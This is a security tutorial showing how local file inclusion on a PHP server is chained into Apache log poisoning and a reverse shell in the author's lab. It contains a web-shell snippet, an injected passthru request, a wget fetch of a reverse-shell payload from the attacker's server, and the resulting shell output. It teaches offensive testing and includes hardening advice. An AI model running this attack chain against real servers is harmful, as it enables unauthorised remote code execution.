Picking locks with local file inclusion
Local Job
A local file inclusion attack uses files that are already on the target system.
When trying to break into a web server, ethical hackers often alter some of the variables that are present in a website's URLs. This type of attack can fall into a number of different categories. Some attacks concern the manipulation of files that a server has access to. The definition of directory traversal, as it suggests, is allowing an attacker to traverse a filesystem and then read files (that they shouldn't have access to).
On the other hand, Local File Inclusion (LFI) and Remote File Inclusion (RFI) attacks can also execute the files that they have access to. As you would guess, LFI is concerned with files that are already present on the target system (which is usually a server), whereas RFI is where an attacker uploads a malicious file (or references external files via a URL).
This article looks at my favorite way to take advantage of local file inclusion. Although this attack is not an advanced attack, when I saw how creative it was, it really opened my eyes to the ingenious methods used by attackers. This attack is a perfectly balanced combination of simplicity and guile. I also offer additional ways of delivering payloads to exploit LFI vulnerabilities and include lots of references. I'll use PHP for this article. However, the principles also apply to other server-side languages.
Be warned! It should go without saying: Only use the techniques and tools in this article on your own systems or those you have explicit permission to test against.
Phoning Home
Before I start, and to whet your appetite with a local file inclusion, I would be remiss not to briefly offer an explanation of remote file inclusion too, such as the vulnerable code seen in Listing 1.
Listing 1
Remote File Inclusion
<? $page-template = $_GET["page-template"]; include $page-template; ?>
In the normal course of events, the code in Listing 1 would "include" or pull in another page's content when the main page was requested by a browser. The template could be a header or footer file with company branding for example. However, especially in older versions of PHP (as this feature was deprecated in PHP 7.4.0), if the setting allow_url_include = On
is present, the second line with the include
instruction (in Listing 1) could also pull in a remote URL instead of local page templates. As you can imagine, the content of a remote URL can change over time, but more importantly, an attacker can potentially point the page-template
variable at their own URL. If the functionality is discovered by an attacker and they constructed a URL like the one that follows, they could get the target's web server to unwittingly execute the PHP code in badcode.php
:
https://www.normalwebsite.tld/index.php?page-template=https://badthings.tld/badcode.php
It's an easy concept to follow and should give you an indication of the local file inclusion techniques I'll look at next.
Locally-Sourced Produce
According to the Open Worldwide Application Security Project (OWASP) [1]:
"…[An LFI] vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected."
In other words, using ../../../
characters in a URL means that the server moves away from the web server's root directory (which is usually /var/www/html
on Linux Apache web servers) to provide directory traversal. LFI goes a step further, however, as it also causes the server to execute the file that it accesses. Think of a PHP-enabled server executing PHP web pages just as it would execute any other type of script.
The PHP web server that I'm using for testing is running on an AWS instance and is set to permit the first line of PHP pages to use what are called short tags. Instead of using <?php
at the start of each page, it will also process PHP content with <?
.
This short tag setting is sometimes set because it makes code quicker to write. You can enable short tags in the php.ini
file (which is /etc/php/8.2/apache2/php.ini
in my case) using the following (you may need a web server restart):
short_open_tag = On
It is not that sensible to use short tags on production servers in case PHP is disabled unintentionally and all your code is accidentally printed on your website for attackers to see. But, I prefer using short tags for testing.
To get a better idea of how LFIs work, consider Listing 2, a nasty piece of code that is prone to LFI, which runs a dangerous shell_exec
function. As you might guess, this code allows you to run commands from the command line as you might do in a terminal.
Listing 2
The Dangerous shell_exec
<? if ( isset( $_REQUEST[ 'this' ] ) ) echo shell_exec($_REQUEST['this']); ?>
In Listing 2, note that I check if the $_REQUEST
superglobal variable exists (see the manual [2] before running shell_exec
). If I'm not missing something (my PHP is pretty rusty), the $_REQUEST
variable means that an HTTP POST
or an HTTP GET
(and a cookie, I suppose, if you look at the manual page) could potentially be used for an attack. It's not just $_GET
, in other words, and therefore an attacker would have more options available to them.
An attacker can take advantage of shell_exec
with a URL like the one below, which uses the Linux id
command to show the user's groups and ID information:
https://target.local/shell.php?this=id
The results show the www-data
user – the user that usually runs web servers on Debian Linux and Ubuntu Linux servers:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Listing 3 shows the output of the following directory listing command:
https://target.local/shell.php?this=ls
Listing 3
Web Server Root Directory
index.php license.txt readme.html shell.php wp-activate.php wp-admin wp-blog-header.php wp-comments-post.php wp-config-sample.php wp-config.php wp-content wp-cron.php wp-includes wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php
The eagle-eyed among you will spot that the web server root directory in Listing 3 contains the files for a WordPress site, which is based on PHP. I won't be using WordPress-related files in this article. However, it is worth noting that WordPress is responsible for a staggering 42 percent of the sites on the World Wide Web! Consider how important a secure PHP installation is for a moment – all those WordPress sites are vulnerable to PHP attacks.
It is a good idea to disable all dangerous PHP functions. Look online for a hardening guide [3] that will get you started on disabling PHP functions.
Cutting to the Chase
With this background in mind, it is time to go deeper. I won't use the shell_exec
function in this example, but it is worth knowing that there are other functions in PHP that you should harden access to in your online applications. One such function is called passthru
. According to the PHP manual [4]: "The passthru()
function is similar to the exec()
function in that it executes a command. This function should be used in place of exec()
or system()
when the output from the Unix command is binary data that needs to be passed directly back to the browser."
Consider the snippet in Listing 4, which is PHP code for a file called lfi.php
. The file creates a variable called something
if an HTTP GET
is used with that name. If that variable exists and is set (that's the isset
expression), it will include data from it. Otherwise, it will load anotherpage.php
.
Listing 4
something Snippet
<? $something = $_GET['something']; if(isset($something)) { include("$something"); } else { include("anotherpage.php"); } ?>
The file that I'm going to target is the logfile that the Apache web server saves its website hits to, namely /var/log/apache2/access.log
. I'll try to access the Apache access.log
via a browser using LFI.
On several Capture The Flag PHP servers the following attack worked straight out of the box. In my lab though I need to loosen the security a little to get it to work. It is possible that default permissions have been improved on newer web server versions. Previous permissions relating to the directory /var/log/apache2
were root:adm
. In other words, the directory belonged to the root
user and the adm
group (which our www-data
user isn't a member of). But I will ensure that permissions are set on the directory itself and then, recursively, the files in the directory as so:
$ chown www-data:adm /var/log/apache2 $ chown -R www-data:adm /var/log/apache2
I can now visit the following URL (where target.local
is the AWS instance alias I've set in my laptop's /etc/hosts
file):
http://target.local/lfi.php?something=ls ../../../log/apache2
Look closely at the URL. Note the %20
, which is used to encode the empty space character after the ls
command.
The results are as follows (they're actually displayed all on one line in my browser), which is the directory listing of /var/log/apache2
:
access.log error.log other_vhosts_access.log
Great, I'm in the right place and can see the logfiles. Does that mean I can see the contents of the access.log
file?
The following crafted URL provides the results shown in Figure 1. The output is abbreviated and pixelated, to protect some IP addresses. In my browser, the output is on one massive, long line, but it shows that I can read the contents of the access.log
file successfully. You might be able to make out that I'm using the Incognito Mode in Google Chrome to help mitigate caching while testing. The following URL, this time with the cat
command, displays the file's contents:
http://target.local/lfi.php?something=cat ../../../log/apache2/access.log
Excellent news – I can proceed. The next thing I need to do is craft a URL using the stalwart of reverse shells, netcat. If you don't have netcat then install it. (I'll use the Nmap version of netcat, which is ncat [5]:
$ apt install ncat -y
If the ncat package isn't available, you might want to try to install another version of netcat for testing.
I should explain that my ultimate aim is to open an interactive shell on the web server through this attack (see the article on reverse shells elsewhere in this issue). I want the target machine (the web server) to phone home to the attacker (my laptop).
I'll use netcat to do two things. In a fresh terminal on my laptop, I want to leave a "listener" open, dutifully listening out on TCP port 8888 for when the PHP web server phones home using its reverse shell. Create a listener with the following simple command:
chris@Xeo:~$ nc -nvlp 8888 Listening on 0.0.0.0 8888
Now I craft a request to achieve the desired remote command execution, which will be possible using the LFI I have discovered. I craft a netcat request with some familiar-looking PHP. However, this time I will execute a command and then afterwards use a browser to look for the command's output via the access.log
URL.
Starting to get the idea? This time I'll use the variable command
, which will reference the nefarious code to help create a reverse shell. The crafted command with passthru
looks like the following (without using short tags so it's a bit clearer):
$ ncat target.local 80 GET /<?php passthru($_GET['command']); ?> HTTP/1.1 Host: target.local Connection: close
Once the ncat
command is entered, just paste the other three lines all at once for ease.
In Listing 5, you can see the Bad Request (HTTP 400) error results of running the PHP passthru
command in the crafted request. In my case, the terminal doesn't close and the command hangs; the connection established by ncat remains open until I hit CTRL+C.
Listing 5
Bad Request Error
HTTP/1.1 400 Bad Request Date: Sat, 06 May 2023 13:38:34 GMT Server: Apache/2.4.56 (Debian) Content-Length: 320 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at ip-10-78-41-232.ec2.internal Port 80</address> </body></html>
Now that I've injected the command
variable, what happens if I visit the URL that I tested with LFI? I will wait a moment before trying out the trickier reverse shell command and try something simpler to prove that the remote execution is working. You can see in the following URL that I am trying to run the ls
command, which should report a directory listing back. The URL in question, now with the command
variable tacked on the end, is:
http://target.local/lfi.php?something=../../../log/apache2/access.log&command=ls
The result is just as with shell_exec
, but this extract from the access.log
file in Listing 6 shows that a bona fide hit on the website was registered (with an HTTP 400 error), which means I can view it in the browser window.
Listing 6
access.log Extract
"GET /index.php lfi.php license.txt readme.html wp-activate.php wp-admin wp-blog-header.php wp-comments-post.php wp-config-sample.php wp-config.php wp-content wp-cron.php wp-includes wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php HTTP/1.1\n" 400 502 "-" "-"
Great news! The extract in Listing 6 shows I am remotely executing commands on the web server. Now, I'll try to get a reverse shell working.
There's an excellent one-liner PHP code snippet that will phone home on TCP port 8888 if I adjust it slightly. You'll find the snippet at the pentestmonkey GitHub repository [6], but here it is in raw text for easier copy-pasting:
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
How do I get my freshly saved PHP reverse shell file (I named it rev.php
and saved it to my laptop) onto the web server? I can run a simple Python web server (this time on TCP port 4444) that I'll call the file server for clarity (see the box entitled "A Word to the Wise.") Note that, for both the reverse shell and the Python file server network ports, you might need to forward traffic from your broadband router to your laptop using port forwarding. The command that I use to listen on TCP port 4444 for incoming connections with Python is:
A Word to the Wise
When opening up a web server on your laptop, you should create a brand new directory first and then copy the rev.php
file into it, especially if you are opening up the port to the Internet while you run tests. That way any port-surfing scripts won't get your current working directory's contents, just the rev.php
file.
chris@Xeo:~$ python3 -m http.server 4444 Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
I close the terminal that gave the successful ls
command a second ago and then reopen it so I still have the command
variable injection via the ncat
command (and of course ensuring the netcat listener terminal is also open too with the nc
command); I try to upload a reverse shell file (called rev.php
) by pulling it from the Python file server:
http://target.local/lfi.php?something=../../../log/apache2/access.log&command=ßß4 wget%20http://XXX.XXX.XXX.XXX:4444/rev.php
The wget
command pulls from a redacted IP address on TCP port 4444, which the Python file server is listening on. And, I have requested the file rev.php
. It occurs to me that if the rev.php
reverse shell executed at this point, it might be classified as an RFI, as it is purely a remote inclusion. However, it doesn't execute, so there's another step.
If I log into the web server, I can now see this file exists:
/var/www/html/rev.php
Perfect! And, in the terminal with the simple file server running, I find this logged hit:
XXX.XXX.XXX.XXX - - [06/May/2023 14:12:28] "GET /rev.php HTTP/1.1" 200 -
I can close the file server terminal now.
With one eye firmly remaining on the listener terminal window and the other focused on the browser, I try to open the following URL in the browser:
http://target.local/rev.php
And, leaving that browser tab whirring away as if it wasn't doing anything, Listing 7 shows the highly coveted shell access.
Listing 7
Shell Access
chris@Xeo:~$ nc -nvlp 8888 Listening on 0.0.0.0 8888 Connection received on XXXX.XXX.XXX.XXX 43652 Linux ip-10-78-41-232 5.10.0-22-cloud-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64 GNU/Linux 09:25:43 up 2:11, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT chris pts/0 XXX.XXX.XXX.XXX 11:14 3:11 0.11s 0.04s sshd: chris [priv] uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
As Listing 7 shows, I have successfully compromised the web server and, using some shell stabilization tricks, I can soon have a reverse shell that has functionality like tab-completion and command history. The eagle-eyed can see that I have the www-data
user's permissions, and with some privilege escalation tricks, I can soon become the root
user.
Buy this article as PDF
(incl. VAT)